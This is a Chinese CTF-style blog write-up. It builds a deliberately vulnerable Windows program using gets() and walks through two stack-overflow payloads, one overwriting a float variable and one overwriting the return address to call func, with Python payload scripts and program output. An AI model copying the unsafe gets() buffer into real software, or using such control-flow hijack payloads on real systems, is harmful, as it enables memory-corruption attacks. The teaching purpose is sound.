【CTF pwn】Windows下尝试栈溢出执行任意函数

buu-ciscn_2019_n_1是一道可以通过栈溢出修改变量为所需值的入门pwn。这题有两个解法,我受到这题的启发,搞一个Windows版本的小实验。

目标:执行函数func

环境:Windows10,编译出的exe是32位的;小端存储。

编译命令:g++ 1.cpp -g -o 1.exe,g++版本:

Thread model: win32
gcc version 8.2.0 (MinGW.org GCC-8.2.0-5)

作者:hans774882968以及hans774882968

文章目录

        • 实验准备
        • 解法1
        • 解法2

实验准备

注意:需要保证变量s在栈中的地址低于v,否则就不存在解法1。

编译代码

#include 
using namespace std;
typedef long long LL;
#define rep(i,a,b) for(int i = (a);i <= (b);++i)
#define re_(i,a,b) for(int i = (a);i < (b);++i)
#define dwn(i,a,b) for(int i = (a);i >= (b);--i)

const int N = 105;

void dbg() {
    puts ("");
}
template<typename T, typename... R>void dbg (const T &f, const R &... r) {
    cout << f << " ";
    dbg (r...);
}
template<typename Type>inline void read (Type &xx) {
    Type f = 1;
    char ch;
    xx = 0;
    for (ch = getchar(); ch < '0' || ch > '9'; ch = getchar() ) if (ch == '-') f = -1;
    for (; ch >= '0' && ch <= '9'; ch = getchar() ) xx = xx * 10 + ch - '0';
    xx *= f;
}
void read() {}
template<typename T, typename ...R>void read (T &x, R &...r) {
    read (x);
    read (r...);
}

void func() {
    re_ (_, 0, 2) puts ("Congratulations!!!");
}

// void showFloatBin (float v) {
// int *f = (int *) (&v), u = 0;
// re_ (i, 0, 32) {
// u |= ( (*f) & (1 << 31 - i) ? 1 : 0) * (1 << 31 - i);
// }
// printf ("%x\n", u);
// }

int main (int argc, char **argv) {
    // showFloatBin (114.514);// 42e5072b
    float C = 114.514f;
    float v;
    char s[10];
    gets (s);
    float tmp = fabs (v - C);
    dbg (v, tmp, v == C);
    if (v == C) func();
    else puts ("v should be 114.514!");
    return 0;
}

解法1

打开IDA,字符串v7在栈中的地址为bp-16h,我们希望修改的变量v8(即源码中的变量v)的地址为bp-Chv8在高地址,所以可以通过栈溢出修改变量v8。IDA反编译的代码如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  double v3; // st7@1
  float Buffer; // ST00_4@1
  float v6; // [sp+14h] [bp-1Ch]@1
  char v7; // [sp+1Ah] [bp-16h]@1
  float v8; // [sp+24h] [bp-Ch]@1
  char v9; // [sp+2Bh] [bp-5h]@1
  float v10; // [sp+2Ch] [bp-4h]@1

  __main();
  v10 = 114.514;
  gets(&v7);
  v3 = v8 - v10;
  Buffer = v3;
  std::fabs(Buffer);
  v6 = v3;
  v9 = v10 != v8 ? 0 : 1;
  _Z3dbgIfJfbEEvRKT_DpRKT0_(&v8, &v6, &v9);
  if ( v10 == v8 )
    func();
  else
    puts("v should be 114.514!");
  return 0;
}

114.514f的16进制为42e5072b,由于本机为小端机(低地址低位),需要反转一下。

代码

bs = '2b 07 e5 42'
payload = b'a' * (0x16 - 0xC) + bytes([int(v,16) for v in bs.split(' ')])

with open("solve1","wb") as f:
    f.write(payload)
    f.write(b'\n')

运行代码生成solve1文件后,将其作为1.exe的输入。解法1效果:

(cmd)1.exe < solve1
114.514 0 1
Congratulations!!!
Congratulations!!!

解法2

更新:大概是编译时要关掉一些保护才能做到执行两次目标函数的吧……做buu-ciscn_2019_n_1的时候没有保护,实测是可以成功的。

直接通过栈溢出覆盖return address,具体原理是C语言内存分布,参考。

func的地址:.text:0040142B ; _DWORD func(void)

bs = '2B 14 40 00'
payload = b'a' * (0x16 + 4) + bytes([int(v,16) for v in bs.split(' ')])

with open("solve2","wb") as f:
    f.write(payload)
    f.write(b'\n')

后续操作同上。解法2效果:

(cmd)1.exe < solve2
2.59846e+020 0 1
Congratulations!!!
Congratulations!!!

解法2把v8~v10的每个字节都覆盖为'a',所以v8 = 0, v9 = 1

你可能感兴趣的:(web&CTF,windows,c++,网络安全,pwn)